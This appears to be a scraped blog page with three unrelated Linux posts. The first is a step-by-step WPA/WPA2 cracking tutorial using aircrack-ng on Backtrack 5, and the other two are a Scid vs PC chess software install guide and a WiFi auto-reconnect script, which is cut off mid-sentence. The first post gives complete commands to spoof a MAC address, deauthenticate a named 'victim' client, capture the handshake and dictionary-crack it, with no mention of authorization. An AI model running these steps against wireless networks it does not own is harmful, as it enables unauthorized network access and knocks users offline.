How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5)

What you need

  • Backtrack (or Linux with aircrack-ng installed)
  • Virtual machine (e.g. Vmware or Virtualbox)
  • Password list
  • USB Wifi adapter capable of promiscuous mode: Alfa AWUS036H



Alright, fire up the terminal.

Commands

  1. airmon-ng
  2. airmon-ng start wlan0
  3. ifconfig mon0 down
  4. macchanger -m 00:11:22:33:44:55 mon0
  5. ifconfig mon0 up
  6. airodump-ng mon0 (let it scan for a minute)
  7. CTRL + C (stop)
  8. airodump-ng -c (channel) -w (filename. eg. wpa) —bssid (xx:xx:xx:xx:xx:xx) mon0

 Now, we need to deauthenticate a user's pc currently on the network (mac)

  1. open another console
  2. aireplay-ng --deauth 1 (just one!) -e (ESSID) -c  (victim's mac) mon0
  3. Wait for WPA handshake ==> airodump-ng
  4. —-all cracking can be done offline—-
  5. aircrack-ng -w (wordlist) file (eg. WPA-01.cap)
    • this is the file from step 8
Note: Success of attack depends on whether your word-list contains the password or not.

Scid vs PC installation guide - Ubuntu (Mint, Debian etc.)

Scid vs PC Scid vs PC is definitely the best and most comprehensive chess software for Linux.  Unfortunately I struggled quite a bit to get it up and running. Before I start: You might prefer to watch the video. Otherwise keep on reading. Open a terminal and execute the following commands sudo apt-get install auto-apt build-essential sudo auto-apt update-local sudo auto-apt update sudo auto-apt updatedb Now make sure you got both tcl8.5-dev and tk8.5-dev installed sudo apt-get install tcl8.5-dev tcl8.5 sudo apt-get install tk8.5-dev tk8.5 Some users are reporting problems on Ubuntu 14.04. sudo apt-get install tcl8.6-dev tcl8.6 sudo apt-get install tk8.6-dev tk8.6 libgcj15-dev The 'x' refers to the current release: e.g. 4.9.tgz download scid vs pc: http://sourceforge.net/projects/scidvspc/files/source/scid_vs_pc-4.9.tgz/download tar -xzf scid_vs_pc-4.xx.tgz cd scid_vs_pc-4.x sudo auto-apt run ./configure sudo auto-apt run make sudo auto-apt run make install

Automatically Reconnect WIFI (Debian, Ubuntu etc.)

The Problem For several reason I do not have access to LAN and thus have to rely on WIFI for my mining rigs. It is fine for most of the time, but the shit hits the fan, when the connection drops for one reason or another. The Solution #!/bin/bash wlan=`/sbin/ifconfig wlan1 | grep inet\ addr | wc -l` if [ $wlan -eq 0 ]; then service network-manager restart else echo WIFI IS UP fi Note: It's either wlan0 or wlan1. Check with sudo ifconfig . Save the script and make it executable. sudo chmod +x filename.sh Now there are several ways of making sure that our script is being executed every x minutes. The easiest way of accomplishing that I think is by using the command watch . sudo su watch -n 600 sh filename.sh What it does is execute our filename.sh script every 600 seconds. Or you implement a so called cron job   sudo crontab -e Add the following PATH=/usr/sbin:/usr/bin:/sbin:/bin */5 * * * * sh /home/username/filename.sh */5 * * * * means that
